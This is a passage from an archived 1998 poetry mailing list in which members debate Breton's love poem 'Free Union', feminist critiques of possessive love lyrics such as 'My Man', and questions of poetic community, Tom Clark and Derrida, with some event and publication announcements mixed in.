>provocation, or so staggeringly naive that further discussion of equity
>between genders is pointless.
>
>

↑ Index

200. **William Burmeister Prod**
Re: Breton's woman, Breton's poem
Thu 5 Feb 1998

On Feb 5, 6:15am, Rachel Loden wrote:
> Subject: Re: Breton's woman, Breton's poem
> John Tranter wrote:
>
> > I think Robert Hale ran into trouble with this line from the Andre Breton
> > poem:
> >
> > "My woman with her calves of elder tree pith"
> >
> > Where I come from, a remark like that can get a fellow into trouble.
>
> All this puts me in mind of "the song of songs, which is Solomon's."
> What sort of reaction did he get with lines like "thy hair is as a flock

> of goats, that appear from mount Gilead. Thy teeth are like a flock of
> sheep that are even shorn, which came up from the washing . . ."
>
> Were ruminants sexier in those days?
>
> Rachel Loden
>-- End of excerpt from Rachel Loden

Don't know about any ruminants, but archaelogists in Israel found a tablet bearing the news, "Palace intern tells all about Solomon."

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201. **pritchpa**
Re: Love Poems
Thu 5 Feb 1998

Hi Dan.

When I think about it, I guess my feeling for Breton waned a long while back without my really noticing it much. So I couldn't say it's driven by a particular decision or attitude arrived at after the consideration of such factors as his sexism, or whatever. My favorite French surrealists were always Eluard and Desnos, and then later, Char. That's not to stay I don't have a soft spot for the Sur-Commandante. Just last week I bought a used copy of the _Manifestos_ - (sold the old one in a periodic purge to buy new books). It was a very important book for me once upon a time and had a tremendous effect on the way I thought about poetry, about language. So I honor Breton for that.

As for the gap between American and French feminism, I'll have to get back to you on that - I just don't know enough to make an intelligent comment on the situation. From what little I've read, there seems to be a perception, at least here in the US, that French feminists have moved so far into the poststructural camp as to neutralize the enactment of any coherent political agenda. And that's because the political front of feminism has thus far relied on - in a sort of gentlewoman's agreement - to set aside the issue of essentialism vs. constructionism, and for the sake of promoting specific socially progressive programs, etc. acted as though there were no ontological rift, that something called the "universal woman" exists and can be appealed to in arguments with legislators and the like. It's a very interesting problem.

Patrick Pritchett

From: Daniel Zimmerman
To: [redacted]

Subject: Re: Love Poems
Date: Wednesday, February 04, 1998 9:09PM

Pat,
Does your change in estimation re Breton's poem reflect what you said
earlier, i.e., that

"one of the big differences between French feminism and
American feminism, as I understand it: that the former is more
philosophically-driven, the latter more politically-driven"

??

& if so, how? Do you [if you do] shrink a bit from Breton now more for political or for philosophical reasons? How do you feel about the widening of the gap between American & French feminisms?

--Dan Zimmerman

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202. **david bromige**
"my man" (for Gwyn McVay)
Thu 5 Feb 1998

Sur cette terr', ma seul' joie, mon seul bonheur, C'est mon homme, J'ai donne/ tout c'que j'ai, mon amour tout mon coeur, A mon homme, Et me^me la nuit Quand je re^ve, c'est de lui De mon homme Ce n'est pas qu'il est beau, Qu'il est riche ni costaud, Mais je 'aime, C'est idiot et fout des coups, j'ai prend mes sous, Je suis a bout Mais malgre/ tout Que voulez-vous, Je l'ai tell'ment dans la peau Qu' j'en d'viens marteau, Des qu'il s'approch' c'est fini Je suis a lui, Quand ses yeux sur moi se pos'nt ca m'rend tout chose, Je l'ai tell'ment dans la peau Qu'au moindre mot, je suiss f'rait fair'n' importe quoi. J'tue-rais ma foi, J'sens qu'il me vendrait infa^me, Mais je n'suis qu'un' femme. Et j'lai tell'ment dans la , etc.

It costs me a lot, but there's one thing that I've got--it's my man Cold and wet, tired you bet, but all that I soon forget With my man He's not much for looks, and no hero out of books__is my man Two or three girls has he that he likes as well as me, But I love him! I don't know why I should, He isn't good, Hen isn't true, He beats me too. What can I do? O my man I love him so, he'll never know, All my life is just despair, but I don't care When he takes me in his arms the world is bright, allright; What's the difference if I say, I'll go away, When I know I'll come back on my knees some day? For whatever my man is I am his forever more! Oh my man I love him so --- da capo, etc.

Albert Willemetz et Jacques Charles, music by Maurice Yvain English tr. by Channing Pollock

as sung by Fanny Brice in "Ziegfield Follies of 1921"

This would appear to contain everything that American feminism dreads--understandably--the way doctors dread penicillin-resistant bacteria. All compressed into some 30 bars...sorry I cant append the music, which is kind of neat.

↑ Index

203. George Thompson
Re: Breton's woman, Breton's poem
Thu 5 Feb 1998

Rachel Loden asks:
>
>All this puts me in mind of "the song of songs, which is Solomon's."
>What sort of reaction did he get with lines like "thy hair is as a flock
>of goats, that appear from mount Gilead. Thy teeth are like a flock of
>sheep that are even shorn, which came up from the washing . . ."
>
>Were ruminants sexier in those days?
>

In fact, Rachel, they were. Very much.

As for Solomon's song itself, I liked Mark Weiss's remarks very much. But the proper answer to your question is that they were. Very much.

And not just ruminants. Have you ever heard of the Vedic horse sacrifice?

Whenever people ask me why I study Sanskrit, I always respond with the question, "Have you ever heard of the Vedic horse sacrifice?"

It leads to a spirited justification of philology. You poets think you know things.... But the things I know.... Well.... Like what the horse and the chief queen did.... Well....

Why, it is even better than Breton.

George Thompson

↑ Index

204. **Maria Damon**
Re: Love Poems
Thu 5 Feb 1998

At 2:00 PM -0500 2/5/98, Joe Brennan wrote:
>what's so "tricky" about Freud? In my experiece he's one of the most ethical
>and open thinkers of this century --at least, I've always found that to be so.
>Will you please elaborate, with textual citations if possible, what "tricks"
>he's turned?
>
>joe brennan
>
>my intervention has nothing to do with the Breton purge currently under way
--
>
>joe

what purge? did i miss something? a breton binge?

↑ Index

205. **Maria Damon**
fwd query
Thu 5 Feb 1998

---

hi all, i received the below; can anyone help? thanks; md

From: "Jamie Phillips" <[redacted]>
To: Maria Damon <[redacted]>
Subject:
Date: Mon, 2 Feb 1998 19:40:09 -0600

Hello My name is jamie Phillips i was looking for something on the line of Volenteers and Angles in a Poem i Work in a Nursing Home and had a 16 yr old Girl who was a Volenteer and she was the Best in the world !! was tragicly Killed in a Auto accident and i wanted a Poem to read in Honor of Her just curious do you know of anything like that ?

↑ Index

206. **David Israel**
Re: Breton's woman, Breton's poem
Thu 5 Feb 1998

---

yeah, but those tablet-loids were notoriously murky. Other than w/ his thousand wives, the guy was in fact celibate. d.i.

> *William Burmeister Prod*

. . . Don't know about any ruminants, but archaelogists in Israel found a tablet
bearing the news, "Palace intern tells all about Solomon."

↑ Index

207. George Thompson

Re: "my man" (for Gwyn McVay)

Thu 5 Feb 1998

David, I am as chamrmed by this piece as you are. But, without speaking for Gwyn or anyone else, I think the point is that it would be nice for a change if these were a man's words, just for a change.... Very different from the Breton piece, it seems to me....

George Thompson

> *Sur cette terr', ma seul' joie, mon seul bonheur, C'est mon homme,*
> *J'ai donne/ tout c'que j'ai, mon amour tout mon coeur, A mon homme,*
> *Et me^me la nuit Quand je re^ve, c'est de lui De mon homme*
> *Ce n'est pas qu'il est beau, Qu'il est riche ni costaud, Mais je 'aime,*
> *C'est idiot et fout des coups, j'ai prend mes sous, Je suis a bout*
> *Mais malgre/ tout Que voulez-vous, Je l'ai tell'ment dans la peau*
> *Qu' j'en d'viens marteau, Des qu'il s'approch' c'est fini*
> *Je suis a lui, Quand ses yeux sur moi se pos'nt ca m'rend tout chose,*
> *Je l'ai tell'ment dans la peau Qu'au moindre mot, je suiss f'rait fair'n'*
> *importe quoi. J'tue-rais ma foi, J'sens qu'il me vendrait infa^me,*
> *Mais je n'suis qu'un' femme. Et j'lai tell'ment dans la , etc.*
>
> *It costs me a lot, but there's one thing that I've got--it's my man*
> *Cold and wet, tired you bet, but all that I soon forget With my man*
> *He's not much for looks, and no hero out of books__is my man*
> *Two or three girls has he that he likes as well as me, But I love him!*
> *I don't know why I should, He isn't good, Hen isn't true, He beats me too.*
> *What can I do? O my man I love him so, he'll never know,*
> *All my life is just despair, but I don't care When he takes me in his arms*
> *the world is bright, allright; What's the difference if I say, I'll go away,*
> *When I know I'll come back on my knees some day? For whatever my man is I*
> *am his forever more! Oh my man I love him so --- da capo, etc.*
>
> *Albert Willemetz et Jacques Charles, music by Maurice Yvain*
> *English tr. by Channing Pollock*
>
> *as sung by Fanny Brice in "Ziegfield Follies of 1921"*
>
> *This would appear to contain everything that American feminism*
> *dreads--understandably--the way doctors dread penicillin-resistant*

> *bacteria. All compressed into some 30 bars...sorry I cant append the music, which is kind of neat.*

↑ Index

208. **Daniel Zimmerman**

Re: "my man" (for Gwyn McVay)

Thu 5 Feb 1998

---

david bromige wrote:
>
> Sur cette terr', ma seul' joie, mon seul bonheur, C'est mon homme,
> J'ai donne/ tout c'que j'ai, mon amour tout mon coeur, A mon homme,
> Et me^me la nuit Quand je re^ve, c'est de lui De mon homme
> Ce n'est pas qu'il est beau, Qu'il est riche ni costaud, Mais je 'aime,
> C'est idiot et fout des coups, j'ai prend mes sous, Je suis a bout
> Mais malgre/ tout Que voulez-vous, Je l'ai tell'ment dans la peau
> Qu' j'en d'viens marteau, Des qu'il s'approch' c'est fini
> Je suis a lui, Quand ses yeux sur moi se pos'nt ca m'rend tout chose,
> Je l'ai tell'ment dans la peau Qu'au moindre mot, je suiss f'rait fair'n'
> importe quoi. J'tue-rais ma foi, J'sens qu'il me vendrait infa^me,
> Mais je n'suis qu'un' femme. Et j'lai tell'ment dans la , etc.
>
> It costs me a lot, but there's one thing that I've got--it's my man
> Cold and wet, tired you bet, but all that I soon forget With my man
> He's not much for looks, and no hero out of books__is my man
> Two or three girls has he that he likes as well as me, But I love him!
> I don't know why I should, He isn't good, Hen isn't true, He beats me too.
> What can I do? O my man I love him so, he'll never know,
> All my life is just despair, but I don't care When he takes me in his arms
> the world is bright, allright; What's the difference if I say, I'll go away,
> When I know I'll come back on my knees some day? For whatever my man is I
> am his forever more! Oh my man I love him so --- da capo, etc.
>
> Albert Willemetz et Jacques Charles, music by Maurice Yvain
> English tr. by Channing Pollock
>
> as sung by Fanny Brice in "Ziegfield Follies of 1921"
>
> This would appear to contain everything that American feminism
> dreads--understandably--the way doctors dread penicillin-resistant
> bacteria. All compressed into some 30 bars...sorry I cant append the music,
> which is kind of neat.

Thank you, David. Exactly the tune I had in mind when I put "my man" in quotes.

Dan Zimmerman

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209. **Henry Gould**
end of love poem
Thu 5 Feb 1998

_in RI_

No one will blame me
on the whispering shore
for lingering so long
near your small rose island.

Bees' slow honey
is the measure of summer;
morning and sundown,
by that rose double-arch.

And my tongue's dark island
leaves a late russet shadow--
dry relic of the voyage,
our lips' broken compass.

- ol' Hen Gould [ca. 1985]

↑ Index

210. **nuyopoman**
Words/Music
Thu 5 Feb 1998

Sunday
feb. 8 8pm: Bob Holman/DJDan from www.koolout.com
9:30pm: Bob Holman/Vito Ricci

THE KNITTING FACTORY 74 Leonard Street New York City [redacted]

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211. **Gwyn McVay**
Re: "my man" (for Gwyn McVay)
Thu 5 Feb 1998

> *Hen isn't true,*

Gracious, and it contains a slur on Jack Spandrift's pseudonym too.

g.

↑ Index

212. Schuchat Simon
Re: Love Poems
Thu 5 Feb 1998

I've been waiting for someone else to mention this,
but in the interests
of unifying threads, isn't it fortunate that Robert Hale didn't give his
friend, instead of MA FEMME, Tom Clark's "YOU" sequence from
STONES with its line
about
"my Andre Breton dream of cutting off your breasts with a trowel"

↑ Index

213. Rachel Loden
Re: Breton's woman, Breton's poem
Thu 5 Feb 1998

Actually I love the Song of Solomon--just in case that wasn't clear; have made ruthless use of it in my own work (as will be evident in a piece forthcoming in _non_). Do wonder, though, about the translation of certain lines, such as "My beloved put in his hand by the hole of the door, and my bowels were moved for him." Kinky?

Rachel, ruminating

↑ Index

214. LAURA MORIARTY
Re: Love Poems
Fri 6 Feb 1998

I have to say that I was wooed - entirely successfully - by a Breton-reading, surrealist-leaning poet who dedicated the first issue of his first magazine to me (but didn't publish me in it) - after which I pointed out that I was not content to be anyone's goddamned muse, thank you very much) and we were together forever till he died -

It's not the Breton - it really depends on the babe -

↑ Index

215. david bromige
my mistress' eyes are (love poetry thread)
Fri 6 Feb 1998

nothing like the sun. (Rae Armantrout: "At first we loved because we startled".)

↑ Index

216. Louis Cabri
various - a spray
Fri 6 Feb 1998

It might be interesting to compare Barrett Watten's Bad History IX, "Presentation" (see Antenym #14) to the Tom Clark excerpt Joe Safdie posted Jan 24 (recently reposted by David Bromige). Coincidentally parallel subject matters in both poems, with very different treatments (as would be expected). Both seem to write of peer pressure & peer pleasure within overlapping, "warring" poetry communities: Watten, from the viewpoint of a shared poetic tendency (always plural, never singular); Clark, as someone who claims to have miraculously eluded all tendential poetic groupings (always singular, never plural) - as David has so excellently, in my view, recently detailed for us. Perhaps Steve Carll, who edits *Antenym*, could post that section of Watten's poem, if he's here? There is no "good" and "bad" in this suggested comparison, either - even though I side with David's view on Tom's poems - because Watten's poem is itself, it strikes me, oddly ahistorical in its address to a generality - "they." ...I'd be curious to know what others think.

During so much of the recent discussion I have gone back tangentially and for a sort of touchstone for my own thinking to a "chapter of verse" in Bob Perelman's poem by that name to be found in his last book, *Virtual Reality*. I wonder who on this list finds this quotation, in the way that it negotiates values for the social through various "walls" of individualism, to be a compelling one, or even an interesting one. It's a seemingly real plain statement:

"Poetry begins, not between individuals within a community, but rather at the points where communities end, at their boundaries, at the points of contact between different communities."

Where are the ends - and are they coterminous with the ends, as in the goals - of our communities, or are we a part of the same community even if we take opposing sides on fundamental issues of poetics? (The latter a question of scale, to some extent, that Ron critically addressed as an entropic state of current social affairs, in his PhillyTalks.) What does it mean to think of "poetry" as *not* "beginning between individuals within a community" - in other words, within the same community? "Community" of course can also be an imaginary construct (if it's ever anything else).

I kind of lump together under one claim some variety of positions that a number of people on this list have recently marshalled forth - those positions having to do with reinvoking that famous "figure of outward" ("figure" as in figure of thought/speech): the outcasted male individual hero loner poet-thinker. Perhaps that's a caricature? Still, the shared claim these positions hold I think is the one that is swilling the last dregs of that sad legacy of the imaginary politics of anarchism in the US. In this recent listserve revival, it has taken such a reified form that its once communal politics can hardly be perceived - by those very champions of this view - in the vocabulary used to identify its social positioning - this given the already vastly reified "social" landscape of this nation, in the midst of its bathetic attempts to clutch to such a stripped landscape for support.

Not that anyone will find and of this of interest, but: I just want to say in advance that at present I can't post to the listserve as often as I'd like. Please don't take my possible further silence on these things as mean indifference. Oh no!

Oh, no!

Mais non!

↑ Index

217. david bromige

"my man" (George Thompson's post)

Fri 6 Feb 1998

George, Your point is well-taken, _if_ when you wrote "if these were a man's words" you intended "if these were a woman's words"--a reading that the context urges. And I would agree, that _once again_ , it is a man's "trip" (or 3

different men, actually) being "laid on" women. I was off-point, somewhat--although Fanny Brice, a woman, made it a big hit. "Buying in", I suppose. David

↑ Index

218. **Robert Hale**
Sex, Power and Poetry
Fri 6 Feb 1998

I respond here, not exclusively to Linda, but to her remarks in this note and another, in addition to numerous posts by others that invite a similar reading of Breton's "Free Union" along a similar course, that of male power objectifying and controlling women -- the sway of which I underestimated in the heat of my picaresque adventure.

I would also venture another interpretation of "exterior" that might lead somewhere other than the phallus and its well-worked calculus and mass redundancy. Exteriorization as a "positive task" (Deleuze and Guattari) working against interiorizing forces -- control, perversion (you name it), those which "no longer open to any outside." Then exteriorization is the highest, and albeit most abstract, task of love. I guess I consider this romantic in the context of my delivery of Breton to "my woman", but as I try to explicate I realize how ethereal it can be and probably was to her.

There seems to be some consensus over the idea that the love poem must strive for egalitarian goals, though I think the "heat" I mentioned above makes this very difficult to achieve. And as Pierre eluded to, the Surrealists, Breton esp., cared little for egalitarianism or any other such bourgeois concepts. I am not a Surrealist, but as I recall, a blurb on my work once mentioned the influence.

To summarize, I quote Mariana Valverde from her "Sex, Power and Pleasure" (a book given to me by an ex-girlfriend, which I obviously have had trouble applying in real life -- I keep forgetting that I have lit cigarettes already as I am writing this so the ashtray has three camels burning simultaneously in it, all mine!):

"The task is not to reject all objectification in favour of an impossible ideal of pure subjectivity, but rather to integrate the two aspects of human existence. The task is to remain a full human subject even while someone is considering us as a potential erotic object, and vice versa. An eroticism that is both sexy and egalitarian is one in which both partners are simultaneously subject and object, for one another as well as for themselves."

This sounds good (utopian?), but I keep forgetting that I have lit cigarettes already as I am writing this so...

Lastly, what about the use of "My lover" as the addressee? Bill Luoma has used this quite successfully, I think, in recent love poems of his.

At 12:31 AM 2/5/98 +0000, you wrote:
>*snip*
>
>> Also, what happens to the language when it's delivered as such a message?
--
>> the route as part of a text "loved" when isolated, packed and unpacked, yet
>> trouble-making when delivered?
>>
>i can only guess that you wanted "my woman with" to translate into
>"you"; odd that "my woman with" seems so fill-in-the-blankish
>except(!) when a specific "subjectivity" is demanded of it;
>i.e. "my susan with" might work but "i, susan, with" won't.
>
>*snip snap*
>
>> I wrote some love poems (as some of you suggested), but there is nothing
>> like a Breton love poem, and it is a love poem, contrary to opinion, very
>> complicated, I think, and emotional (whatever these words mean), all these
>> things in a very exterior, and arguably, male way.
>yes, in the way that it is all cock. i.e. he loves her with his cock
>or with whatever else skin he can glom all over her --
>the old standby question -- do you think he respects his "woman
>with"? is there a being beneath this mass of female goodness?
>yes, it's nice to receive compliments re your bod. -- but to the
>exclusion of ? ? ? -- i'm reacting now out of context, of course,
>you couldn've sent a love poem praising her mind, her ideals, &c her
>bank account, i dunno, but i'd like to know of some poems that do!
>
>

↑ Index

219. Susan Schultz
Re: to Gwyn McVay
Fri 6 Feb 1998

Gwyn--would you back-channel me very soon, please?

Thanks, Susan

Susan M. Schultz
Dept. of English
1733 Donaghho Road

University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

220. Joshua N Schuster
spraying the communities
Fri 6 Feb 1998

There is a thread in common with Louis' post and the Clark issue that I feel is worth following.

I went to read the Tom Clark essay today. Probably worth mentioning some things before all is swept away. The Brecht quote introduces the piece and is completely contextless, not even a footnote provided, so I have no idea when the quote was written. Clark uses it to frame langpoetry as academic and negatively obscure. Now that Clark has thrown out context, that social and historical stuff that induces meaning, he is happy to provide his own version of context, calling all langpoetry leftist and group-centered. He quotes only one poem, a section from a Watten piece, not to analyze but to show that the title "'Stalin As Linguist'" comes from Watten (hence the quotes around the title). We assume the analogy between group-project and Stalinism and case closed. The whole thing is harshly vague and is an example of the kind of criticism I find as absolute bullshit, the "I hate this, I hate that" criticism.

And, oooh, I find the academic slander particularly compelling. The fact that it is on this list in all its glory is sickening. It's all shit, let's burn the universities. Better yet, burn the critic-professors, especially that Derrida, root of all obscure academic prose.

The example of Derrida interests me very much, as he has been bashed by Tom Clark as well as several language poets over the years, and of course by almost every professor and, now, watcher of Woody Allen movies. I'm not going to proceed on a lengthy defense here, but I will honestly and forcefully say that Derrida's writing is powerful, concise, and stunning. I find his texts on Jewish themes and on poetry to be genuinely intense. His project is fine-tuned and demanding, and I don't think I would be a poet or a critic if it were not for his writing.

Maybe it is worth noting Derrida has not spent the majority of his career in the heart of the University system. For many years he has held a "tutor" position at the Ecole Normale, about the equivalent of what most grad students get as their first job. It's also worth mentioning Derrida's essay "The University in the

Eyes of its Pupils" (diacritics, 1983), where Derrida does what he often does to characterize institutions (and, of course, also with philosophically dramatic terms). He points out the tendency to destroy and demolish institutions is always linked with the tendency to praise and commendably name them. The essay is very particular about what this may mean, and most of Derrida, as usual, is about raising these issues. There are more questions in Derrida's writing than most other essays. Derrida does insist that community and institution must be re-thought. In his major essay on Levinas he calls the context of his critique "the community of the question".

That word "community" is used so often, certainly by me too, that it loses much of its relevance. But I use this word to be the real context and substance of language writing, the context I seem to most admire them for, a context exactly like what Derrida calls "the community of the question". Now, Ron Silliman, for example (not to pick on Ron, but his Philly Talk here still resonates), has recently suggested such a community was a heroic moment in writing, while I completely disagree with such a heroic view of history, myself preferring the project of what Greil Marcus calls "secret history". Anyways, such heroism should not obscure what is so valuable in the cliched but genuine project of community. Even if communities find foundations in what will ultimately lead to their own downfall, the search is inherently important. That search takes place in the community of the question, and for me it welcomes both Derrida and language poetry in the *academy turned upside-down* (any reading of langpoetry and Derrida would be blind to miss the intense criticism both sustain against the university. It is some of the best criticism out there, much better than the solitary and blessed poet trashing all professors). But Tom Clark will forever fail to see how langpoetry is a community (of questionings) and not a totality.

Langpoetry and the University certainly do not present the only results of community (not even close), and to me, if either of these "institutions" are to be surpassed, in good faith, it will come by a rethinking of naming, of grouping, of making context in a socially and historically changing world. What is exciting is the ways in which these searches continue, even in the heart of the worst corners of the worst public/private education systems, even in the most absurd and inviting ways. What if in some perverted way, bureaucracy implicitly lead the way out of bureaucracy? What if in some terrible corner of a paragraph or a library there appeared a clue into a new understanding of community? Better we should smash it before it adds up to that pile of shit we call context.

Joshua Schuster

↑ Index

221. **louis stroffolino**
Re: "My man"
Fri 6 Feb 1998

---

and then there's JONI MITCHELL's "my old man"
(one could love the way she objectifies men)....chris

On Thu, 5 Feb 1998, Elizabeth Hatmaker wrote:

> *The Bessie Smith lyrics reminded me-- didn't Shirley Anne Williams write a series on Bessie Smith lyrics? Does anyone know how or if she brought attention to the whole "my man" issue?*
>
> *I'm also reminded of an old movie based on, I think, a Cornell Woolrich (sp?) novel called "No Man to Call Her Own"-- Barbara Stanwick, preganant and abandoned, is in in train wreck with couple and is mistaken for the bride, taken in, falls in love with the groom's brother.*
>
> *Seems in both cases-- the Bessie Smith lyrics and the movie that the desire to "own a man" comes from a pretty desperate place in a number of ways (emotionally, financially, socially). I'm not sure that I'd equate this with what's going on in the Breton poem. Maybe this is less the case with the Plath poem.*
>
> *e. hatmaker*

↑ Index

222. **George Thompson**
Re: "My man"
Fri 6 Feb 1998

Small grammatical point:

"ma femme" is possessive, whereas "mon homme" is possessed.

George Thompson

↑ Index

223. **louis stroffolino**
Re: various - a spray
Fri 6 Feb 1998

Louis Cabri--in taking off from a line from Perelman about poetry and its hypothetical location BETWEEN communities rather than between individuals--makes an interesting point that, for me, raises the question of identity as a differential

and what may be the "reactive nature" of it (identity).
For, perhaps we all have some pre-existing idea of what
this "listserv community" entails, is constituted by
(though of course it's
an "imaginary construct")) and there is a very valid
perspective from which
"those positions having to do with reinvoking that famous
figure of the outlaw (figure as in figure of thought/speech)
: the outcasted male individual hero loner poet-thinker"
though "a caricature" must be seen in relation to the
assumptions of the "imaginary construct" of this "listserv
community." And perhaps the VALUE of such an "outlaw figure"
position--apart from any question of intrinsic value which
I am going to BRACKET for now--is precisely in the way it
may place the tension BETWEEN communities WITHIN a community.
Thus, maybe it's not coincidental that Joshua Schuster finds
the fact that "academic slander" can be found in all its glory
on this list both "sickening" and "compelling". Ah, such
ambivalence we may locate in the individual Joshua Schuster,
taking a position against other individuals (in this sense
the "sickening" is suppossed to take precedence over the
"compelling"), or we may locate it in between two communities,
whose "competing discourses" play themselves out in the words
of (or mind of) Joshua Schuster.

Again, I keep thinking of that quote by Mr. Bernstein
about being a "communist in st. petersburg and a capitalist
in leningrad". As for me, I don't think I'd say half the
things I say on this list if I were in other contexts.
When I was on the CAP-L list alot, i tended to be part of
a "unified front" with Ron SIlliman strangely enough
In U-Mass MFA prgram creative writing class with James Tate
I defended Bernstein. Of course I would defend Tate here
(and not JUST for reactive reasons, but I'd be lying to
say such reasons don't play at least some part in it)...
Anyway, just some friday morning thoughts.....chris

On Fri, 6 Feb 1998, Louis Cabri wrote:

> *It might be interesting to compare Barrett Watten's Bad History IX, "Presentation" (see Antenym #14) to the Tom Clark excerpt Joe Safdie posted Jan 24 (recently reposted by David Bromige). Coincidentally parallel subject matters in both poems, with very different treatments (as would be*

*expected). Both seem to write of peer pressure & peer pleasure within overlapping, "warring" poetry communities: Watten, from the viewpoint of a shared poetic tendency (always plural, never singular); Clark, as someone who claims to have miraculously eluded all tendential poetic groupings (always singular, never plural) - as David has so excellently, in my view, recently detailed for us. Perhaps Steve Carll, who edits *Antenym*, could post that section of Watten's poem, if he's here? There is no "good" and "bad" in this suggested comparison, either - even though I side with David's view on Tom's poems - because Watten's poem is itself, it strikes me, oddly ahistorical in its address to a generality - "they." ...I'd be curious to know what others think.*

*During so much of the recent discussion I have gone back tangentially and for a sort of touchstone for my own thinking to a "chapter of verse" in Bob Perelman's poem by that name to be found in his last book, *Virtual Reality*. I wonder who on this list finds this quotation, in the way that it negotiates values for the social through various "walls" of individualism, to be a compelling one, or even an interesting one. It's a seemingly real plain statement:*

"Poetry begins, not between individuals within a community, but rather at the points where communities end, at their boundaries, at the points of contact between different communities."

*Where are the ends - and are they coterminous with the ends, as in the goals - of our communities, or are we a part of the same community even if we take opposing sides on fundamental issues of poetics? (The latter a question of scale, to some extent, that Ron critically addressed as an entropic state of current social affairs, in his PhillyTalks.) What does it mean to think of "poetry" as *not* "beginning between individuals within a community" - in other words, within the same community? "Community" of course can also be an imaginary construct (if it's ever anything else).*

I kind of lump together under one claim some variety of positions that a number of people on this list have recently marshalled forth - those positions having to do with reinvoking that famous "figure of outward" ("figure" as in figure of thought/speech): the outcasted male individual hero loner poet-thinker. Perhaps that's a caricature? Still, the shared claim these positions hold I think is the one that is swilling the last dregs of that sad legacy of the imaginary politics of anarchism in the US. In this recent listserve

> *revival, it has taken such a reified form that its once*
> *communal politics can hardly be perceived - by those very champions*
> *of this view - in the vocabulary used to identify its social*
> *positioning - this given the already vastly reified "social"*
> *landscape of this nation, in the midst of its bathetic*
> *attempts to clutch to such a stripped landscape for support.*
>
> *Not that anyone will find and of this of interest, but: I*
> *just want to say in advance that at present I can't post to*
> *the listserve as often as I'd like. Please don't take my possible*
> *further silence on these things as mean indifference. Oh no!*
>
> *Oh, no!*
>
> *Mais non!*

↑ Index

224. **Henry Gould**

Re: various - a spray

Fri 6 Feb 1998

Stroffolino makes some good points along the Cabri & Schuster thread, mainly by not insisting on a simple solution (as I so often do). Though the poem gets written by the individual it's always in response to a group situation, even if it's addressed to a single "other" person. So the group is always an implicit sounding board. This goes for criticism as well. But I think those who criticize Tom Clark (& me) for playing the super-individualist card might consider what we're playing it against. "Talk about" poetry, "talk about" poetry communities, is all well and good, especially for those (academic) communities for whom such talk is literally their bread and butter; "isn't it nice to think so," as Mark Wallace so aptly quoted Hemingway - especially when some poetry collectives will actively & persistently promote the history & analysis of their community within the academic community; both groups get to think they're talking about something important! Isn't that nice?

All I've been saying, and perhaps all Tom Clark said (I haven't read it), IS - that, for us, when the chips are down, when the bell tolls, when the fat lady sings, when closing time comes, at the stroke of midnight, etc. etc. - my poems - whether they're responding to the group or not - my poems are my poems. I wrote them. Me, the individual. I put things in them myself. And when they're written, hey, I still wrote them. My poems are different from your poems. Part of my effort (& I mean EFFORT) is to make them different from yours. I see a major part of the intrinsic value of a poem is its utter uniqueness. I stand firmly

with both Celan & Mandelstam who, again and again, said (in OM's words) "Do not compare. The living is incomparable." You must look for it yourself.

So you can talk all you want about poetic communities. This list is a poetic community. For all I know, it's affected my writing. But when I go into the room & close the door to write - a poem, a review, whatever - I want nothing to do with you. & I don't want any favors. I want to reach the "cold" reader, the dispassionate critic, the average Joanne. Because they are my criterion for my own truth. What's your criterion? The echo of praise, the warm comradely hug? "Men seek glory from one another, but they do not seek the glory that comes from God."

- Henry Gould

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225. Michael J. Kelleher
alyricmailer
Fri 6 Feb 1998

BE SUBVERSIVE:

READ POETRY ON THE JOB

ANNOUNCING THE PUBLICATION OF:

a l y r i c m a i l e r

AN E-BROADSIDE FEATURING (AS OFTEN AS POSSIBLE) A SELECTION FROM AN INDIVIDUAL POET.

This edition's poet is Dan Machlin.

Dan Machlin was born and raised in the west 20's in Manhattan and now resides in Brooklyn. He is a graduate of the M.A. Poetry Program at City College of New York and of Bernadette Mayer's workshop at St. Mark's and his work has appeared in several poetry mags, including Whatever and Torque. He is the former curator of The Segue Performance Space Poetry/Performance series and a spring 1998 curator for the HERE series in NYC.

a l y r i c m a i l e r is an autonomous editorial production of The Small Press Collective, Buffalo, NY.

The url, for those whose e-mail server does not read html, is:

http://writing.upenn.edu/~mjk/hotpotato.htm

(Free) Subscriptions, queries (only, not submissions), comments, complaints to [redacted].

I hope to have another completed this month. Enjoy.

Michael Kelleher

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<P>ANNOUNCING THE PUBLICATION OF:

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<P>Michael Kelleher</HTML>

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226. Robert J Tiess

Re: Call for work -->

Fri 6 Feb 1998

"p. durgin" <[redacted]> writes:
>KENNING, a newsletter of poetry, poetics, & other genres of new
>non-fiction writing, announces a call for expository, theoretical, and
>critical writing for upcoming issues. Your wonderings and deliberations
>on current poetics issues & practicioners of the language arts are
>welcomed. Please back-channel with proposals (informal) and/or details,
>or contact the editor, myself, at the address below. Premier issue
>out soon, watch the list for this announcement.
>
> Patrick F. Durgin

Dear Mr. Durgin,

Your newsletter sounds promising. From the post above,
I am guessing you are more interested in prose pieces than
poetry at this time. Are you open to poetry submissions,
and, if so, are there any additional guidelines?

For the past few months I have been considering the
physical page's dimensional impact on poetry's lineation,
how it essentially dictates the width and flow of the
modern poem. I will be recording my conclusions in an
essay entitled, "8 1/2 x 11," and I expect it to be well
under a 1,000 words. Would you be interested in such
a piece?

As for myself, I am a poet and an electronic publisher of free an e-zine and poetry anthologies (see Poetfest link below). My works have appeared in a variety of publications, including English Journal, Amazing Computing, Poetpoetzine, Midwest Poetry Review, and EWG Presents.

I look forward to your reply.

Sincerely,
Robert J. Tiess

~~~
~~~

Thanks, Carolyn, for reminding me that bp nichol, too, was 44--& to everyone else who reminded me O'Hara was (wow) younger. No coincidence: I opened my e-mail program up this morning . . . to exactly 44 messages. What do you say, think, when things like this happen? Unbelievable.

Yours,

Gary Sullivan
[redacted]

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228. **Maria Damon**
Re: Love Poems
Fri 6 Feb 1998

---

harold, i was talking about historical context and ongoing inequities, not specific cases. of course men suffer socially and economically when they take on traditionally "feminized" roles. that fact, to me, underscores my point that we live in a sexist society. sure, individual women take their husbands' names for any number of reasons: they sound better; carrying their father's name, with which they're saddled at birth, is no less sexist; it's more convenient for childrearing and record-keeping, etc. All of these except the first (aesthetics) to me underscore the fact that we live in a sexist society. the passion of your post, and the unusualness of the choices you've made, to me underscore the fact that we live in a sexist society that makes such choices remarkable. my hat's off to you for the choices you have made. i wasn't, though, talking about individual volition; i was responding to what i felt was a glib suggestion that women "taking" their husband's names was equivalent to men "taking" their wives as possessions; can't remember who made that post now. bests, maria d

At 2:26 PM -0800 2/5/98, Harold Rhenisch wrote:
